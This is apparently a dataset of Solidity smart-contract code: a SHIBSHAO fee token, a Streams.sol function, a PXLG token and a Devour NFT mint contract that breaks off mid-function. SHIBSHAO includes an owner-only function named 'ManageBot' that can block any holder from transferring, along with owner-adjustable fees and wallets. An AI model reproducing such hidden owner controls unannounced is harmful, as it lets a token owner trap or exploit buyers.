(consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SHIBSHAO is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address private marketingWallet; address private devWallet; uint256 private maxTransactionAmount; uint256 private swapTokensAtAmount; uint256 private maxWallet; bool private limitsInEffect = true; bool private tradingActive = false; bool public swapEnabled = false; bool public enableEarlySellTax = true; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch // Seller Map mapping (address => uint256) private _holderFirstBuyTimestamp; // Blacklist Map mapping (address => bool) private _blacklist; bool public transferDelayEnabled = true; uint256 private buyTotalFees; uint256 private buyMarketingFee; uint256 private buyLiquidityFee; uint256 private buyDevFee; uint256 private sellTotalFees; uint256 private sellMarketingFee; uint256 private sellLiquidityFee; uint256 private sellDevFee; uint256 private earlySellLiquidityFee; uint256 private earlySellMarketingFee; uint256 private earlySellDevFee; uint256 private tokensForMarketing; uint256 private tokensForLiquidity; uint256 private tokensForDev; // block number of opened trading uint256 launchedAt; /******************/ // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Shibshao", "SHIBSHAO") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 4; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 4; uint256 _sellMarketingFee = 3; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 3; uint256 _earlySellLiquidityFee = 0; uint256 _earlySellMarketingFee = 4; uint256 _earlySellDevFee = 4; uint256 totalSupply = 1 * 1e12 * 1e18; maxTransactionAmount = totalSupply * 30 / 1000; // 3% maxTransactionAmountTxn maxWallet = totalSupply * 30 / 1000; // 3% maxWallet swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; launchedAt = block.number; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function setEarlySellTax(bool onoff) external onlyOwner { enableEarlySellTax = onoff; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee, uint256 _earlySellDevFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function ManageBot (address account, bool isBlacklisted) public onlyOwner { _blacklist[account] = isBlacklisted; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } // anti bot logic if (block.number <= (launchedAt) && to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { _blacklist[to] = false; } // early sell logic bool isBuy = from == uniswapV2Pair; if (!isBuy && enableEarlySellTax) { if (_holderFirstBuyTimestamp[from] != 0 && (_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) { sellLiquidityFee = earlySellLiquidityFee; sellMarketingFee = earlySellMarketingFee; sellDevFee = earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } else { sellLiquidityFee = 0; sellMarketingFee = 2; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } else { if (_holderFirstBuyTimestamp[to] == 0) { _holderFirstBuyTimestamp[to] = block.timestamp; } if (!enableEarlySellTax) { sellLiquidityFee = 0; sellMarketingFee = 4; sellDevFee = 2; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function Send(address[] calldata recipients, uint256[] calldata values) external onlyOwner { _approve(owner(), owner(), totalSupply()); for (uint256 i = 0; i < recipients.length; i++) { transferFrom(msg.sender, recipients[i], values[i] * 10 ** decimals()); } } }
exclude from paying fees or having max transaction amount
constructor() ERC20("Shibshao", "SHIBSHAO") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 4; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 4; uint256 _sellMarketingFee = 3; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 3; uint256 _earlySellLiquidityFee = 0; uint256 _earlySellMarketingFee = 4; uint256 _earlySellDevFee = 4; uint256 totalSupply = 1 * 1e12 * 1e18; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply);
6,804,916
./full_match/11155111/0x298F37fFd4B31d216B8954968cEe7EC5273CB891/sources/src/Streams.sol
Calculate effects of calling `_squeezeStreams` with the given parameters. See its documentation for more details. accountId The ID of the account receiving streams to squeeze funds for. erc20 The used ERC-20 token. senderId The ID of the streaming account to squeeze funds from. historyHash The sender's history hash that was valid right before `streamsHistory`. streamsHistory The sequence of the sender's streams configurations. return amt The squeezed amount. return squeezedNum The number of squeezed history entries. return squeezedRevIdxs The indexes of the squeezed history entries. The indexes are reversed, meaning that to get the actual index in an array, they must counted from the end of arrays, as in `arrayLength - squeezedRevIdxs[i]`. These indexes can be safely used to access `streamsHistory`, `historyHashes` and `nextSqueezed` regardless of their lengths. `squeezeRevIdxs` is sorted ascending, from pointing at the most recent entry to the oldest. return historyHashes The history hashes valid for squeezing each of `streamsHistory` entries. In other words history hashes which had been valid right before each streams configuration was set, matching `streamsHistoryHash` emitted in its `StreamsSet`. The first item is always equal to `historyHash`. return currCycleConfigs The number of the sender's streams configurations which have been seen in the current cycle. This is also the number of used entries in each of the sender's `nextSqueezed` arrays. If the last update was not in the current cycle, there's only the single latest history entry to squeeze in the current cycle. slither-disable-next-line timestamp
function _squeezeStreamsResult( uint256 accountId, IERC20 erc20, uint256 senderId, bytes32 historyHash, StreamsHistory[] memory streamsHistory ) internal view returns ( uint128 amt, uint256 squeezedNum, uint256[] memory squeezedRevIdxs, bytes32[] memory historyHashes, uint256 currCycleConfigs ) { { StreamsState storage sender = _streamsStorage().states[erc20][senderId]; historyHashes = _verifyStreamsHistory(historyHash, streamsHistory, sender.streamsHistoryHash); currCycleConfigs = 1; if (sender.updateTime >= _currCycleStart()) currCycleConfigs = sender.currCycleConfigs; } squeezedRevIdxs = new uint256[](streamsHistory.length); uint32[2 ** 32] storage nextSqueezed = _streamsStorage().states[erc20][accountId].nextSqueezed[senderId]; uint32 squeezeEndCap = _currTimestamp(); unchecked { for (uint256 i = 1; i <= streamsHistory.length && i <= currCycleConfigs; i++) { StreamsHistory memory historyEntry = streamsHistory[streamsHistory.length - i]; if (historyEntry.receivers.length != 0) { uint32 squeezeStartCap = nextSqueezed[currCycleConfigs - i]; if (squeezeStartCap < _currCycleStart()) squeezeStartCap = _currCycleStart(); if (squeezeStartCap < historyEntry.updateTime) { squeezeStartCap = historyEntry.updateTime; } if (squeezeStartCap < squeezeEndCap) { squeezedRevIdxs[squeezedNum++] = i; amt += _squeezedAmt(accountId, historyEntry, squeezeStartCap, squeezeEndCap); } } squeezeEndCap = historyEntry.updateTime; } } }
3,819,438
./partial_match/1/0x3E65f43084F767343C4549a9ac424d89e44F4BEb/sources/contracts/RamenDao.sol
Returns the address that signed the `digest` to produce `signature`
function _verify(bytes32 digest, bytes calldata signature) internal pure returns (address) { return ECDSA.recover(digest, signature); }
3,659,277
pragma solidity ^0.4.23; import "openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol"; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "./OwnableToken.sol"; /** * @title PXL Genesis implementation based on StandardToken ERC-20 contract. * @author Skkwon80 - <sk.kwon@battleent.com> * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * * @notice PXLG was Genesis version of PXL token. PXLG will be exchanged for PXL later. */ contract PXLG is StandardToken, OwnableToken { using SafeMath for uint256; // Token basic information string public constant name = "Pixel Genesis"; string public constant symbol = "PXLG"; uint256 public constant decimals = 18; uint256 public totalSupply; // Token is non-transferable until owner calls unlock() // (to prevent OTC before the token to be listed on exchanges) bool isTransferable = false; /** * @dev PXLG constrcutor * * @param initialSupply Initial PXLG token supply to issue. */ constructor(uint256 initialSupply) public { require(initialSupply > 0); totalSupply = initialSupply; balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, initialSupply); } function() public payable { revert(); } /** * @dev unlock PXLG transfer * * @notice token contract is initially locked. * @notice contract owner should unlock to enable transaction. */ function unlock() external onlyOwner { isTransferable = true; } /** * @dev Transfer tokens from one address to another * * @notice override transferFrom to block transaction when contract was locked. * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred * @return A boolean that indicates if transfer was successful. */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(isTransferable || owners[msg.sender]); return super.transferFrom(_from, _to, _value); } /** * @dev Transfer token for a specified address * * @notice override transfer to block transaction when contract was locked. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @return A boolean that indicates if transfer was successful. */ function transfer(address _to, uint256 _value) public returns (bool) { require(isTransferable || owners[msg.sender]); return super.transfer(_to, _value); } /** * @dev Function to mint tokens * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(uint256 _amount) onlyOwner public returns (bool) { totalSupply = totalSupply.add(_amount); balances[msg.sender] = balances[msg.sender].add(_amount); emit Mint(msg.sender, _amount); emit Transfer(address(0), msg.sender, _amount); return true; } /** * @dev Burns a specific amount of tokens. * @param _amount The amount of token to be burned. */ function burn(uint256 _amount) onlyOwner public { require(_amount <= balances[msg.sender]); totalSupply = totalSupply.sub(_amount); balances[msg.sender] = balances[msg.sender].sub(_amount); emit Burn(msg.sender, _amount); } event Mint(address indexed _to, uint256 _amount); event Burn(address indexed _from, uint256 _amount); }
Function to mint tokens _amount The amount of tokens to mint. return A boolean that indicates if the operation was successful./
function mint(uint256 _amount) onlyOwner public returns (bool) { totalSupply = totalSupply.add(_amount); balances[msg.sender] = balances[msg.sender].add(_amount); emit Mint(msg.sender, _amount); emit Transfer(address(0), msg.sender, _amount); return true; }
6,438,545
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC721.sol"; import "./ERC721Enumerable.sol"; import "./Ownable.sol"; import "./ReentrancyGuard.sol"; import "./MerkleProof.sol"; contract Devour is ERC721Enumerable, Ownable, ReentrancyGuard { // Manage minting detail and permission bytes32 public merkleRoot; uint256 public constant maxShardSupply = 600; uint256 public mintPrice = 0.1 ether; uint256 public publicMintLimit = 10; uint256 public wlMintLimit = 5; bool public publicMintEnabled = false; bool public whitelistMintEnabled = false; mapping (address => uint256) public whitelistMinted; // Manage addresses and URI related information address public oreClaimAddress; address public assemblerAddress; string public contractURI; string public baseTokenURI; // Manage balance and types information mapping (address => uint256) public shardBalances; mapping (uint256 => uint256) public devourTypes; uint256 public totalShardMinted; uint256 public totalAssembled; // Manage ore related information uint256 public orePerShard = 75; uint256 public orePerAssembled = 500; uint256 public initialOreClaimTimestamp; mapping (address => uint256) public lastOreClaimWeekByAddress; mapping (address => uint256) private _lastClaimableOreByAddress; constructor ( bytes32 _merkleRoot, address _oreClaim, string memory _initialContractURI, string memory _initialBaseTokenURI ) ERC721("Devour", "DEVOUR") { merkleRoot = _merkleRoot; oreClaimAddress = _oreClaim; contractURI = _initialContractURI; baseTokenURI = _initialBaseTokenURI; } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { merkleRoot = _merkleRoot; } function setAssemblerAddress(address _assembler) external onlyOwner { assemblerAddress = _assembler; } function setMintPrice(uint256 _price) external onlyOwner { mintPrice = _price; } function setWhitelistMintLimit(uint256 _limit) external onlyOwner { wlMintLimit = _limit; } function setPublicMintLimit(uint256 _limit) external onlyOwner { publicMintLimit = _limit; } function setPublicMintEnabled(bool _enabled) external onlyOwner { publicMintEnabled = _enabled; } function setWhitelistMintEnabled(bool _enabled) external onlyOwner { whitelistMintEnabled = _enabled; } function setContractURI(string memory _contractURI) external onlyOwner { contractURI = _contractURI; } function setBaseTokenURI(string memory _baseTokenURI) external onlyOwner { baseTokenURI = _baseTokenURI; } function tokenURI(uint256 _tokenId) override public view returns (string memory) { require(_exists(_tokenId), "URI query for nonexistent token"); // Return the correct metadata for assembled tokens if (_tokenId > maxShardSupply) { return string(abi.encodePacked(baseTokenURI, Strings.toString(devourTypes[_tokenId] + 1000))); } // Otherwise return the shard metadata return string(abi.encodePacked(baseTokenURI, Strings.toString(_tokenId))); } function reserveMint(uint256 _count) external onlyOwner { uint256 currentSupply = totalShardMinted; require(currentSupply + _count <= maxShardSupply, "Invalid mint count"); for (uint256 i = 0; i < _count; i++) { _safeMint(msg.sender, currentSupply + i + 1); } shardBalances[msg.sender] += _count; totalShardMinted += _count; } function whitelistMint(bytes32[] calldata _merkleProof) external payable nonReentrant { bytes32 node = keccak256(abi.encodePacked(msg.sender)); uint256 currentSupply = totalShardMinted; uint256 price = mintPrice; require(whitelistMintEnabled, "Whitelist mint is closed"); require(currentSupply < maxShardSupply, "Sold out!"); require(MerkleProof.verify(_merkleProof, merkleRoot, node), "Not whitelisted"); require(whitelistMinted[msg.sender] < wlMintLimit, "Whitelist mint fully claimed"); require(msg.value >= price, "Not enough funds"); uint256 count = msg.value / price; uint256 remaining = maxShardSupply - currentSupply; uint256 remainingWL = wlMintLimit - whitelistMinted[msg.sender]; remaining = (remaining > remainingWL ? remainingWL : remaining); count = (count > remaining ? remaining : count); whitelistMinted[msg.sender] += count; for (uint256 i = 0; i < count; i++) { _safeMint(msg.sender, currentSupply + i + 1); } shardBalances[msg.sender] += count; totalShardMinted += count; uint256 refund = msg.value - (count * price); if (refund > 0) { payable(msg.sender).transfer(refund); } } function publicMint() external payable nonReentrant { uint256 currentSupply = totalShardMinted; uint256 price = mintPrice; require(publicMintEnabled, "Public mint is closed"); require(currentSupply < maxShardSupply, "Sold out!"); require(msg.value >= price, "Not enough funds"); uint256 count = msg.value / price; uint256 remaining = maxShardSupply - currentSupply; count = (count > publicMintLimit ? publicMintLimit : count); count = (count > remaining ? remaining : count); for (uint256 i = 0; i < count; i++) { _safeMint(msg.sender, currentSupply + i + 1); } shardBalances[msg.sender] += count; totalShardMinted += count; uint256 refund = msg.value - (count * price); if (refund > 0) { payable(msg.sender).transfer(refund); } } function assemble(uint256 devourType, uint256[] calldata 